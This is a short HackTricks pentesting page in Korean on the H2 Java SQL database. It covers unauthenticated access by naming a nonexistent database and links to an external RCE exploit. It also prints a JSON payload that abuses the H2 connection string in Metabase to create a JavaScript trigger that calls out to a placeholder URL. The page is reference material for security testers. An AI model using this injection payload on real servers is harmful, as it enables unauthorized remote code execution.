hacktricks/network-services-pentesting/pentesting-web/h2-java-sql-database.md

3.7 KiB

H2 - Java SQL 데이터베이스

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

공식 페이지: https://www.h2database.com/html/main.html

접근

유효한 자격 증명 없이 새 데이터베이스를 생성하기 위해 존재하지 않는 데이터베이스 이름을 지정할 수 있습니다 (인증되지 않음):

또는 예를 들어 mysql이 실행 중이고 해당 데이터베이스의 이름자격 증명을 알고 있다면, 그냥 접근할 수 있습니다:

HTB의 Hawk 박스에서의 트릭.

RCE

H2 데이터베이스와 통신할 수 있는 접근 권한이 있다면, RCE를 얻기 위한 이 익스플로잇을 확인하세요: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

H2 SQL 인젝션을 통한 RCE

이 게시물에서는 SQL 인젝션을 악용하여 H2 데이터베이스를 통한 RCE를 얻기 위한 페이로드가 설명됩니다.

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}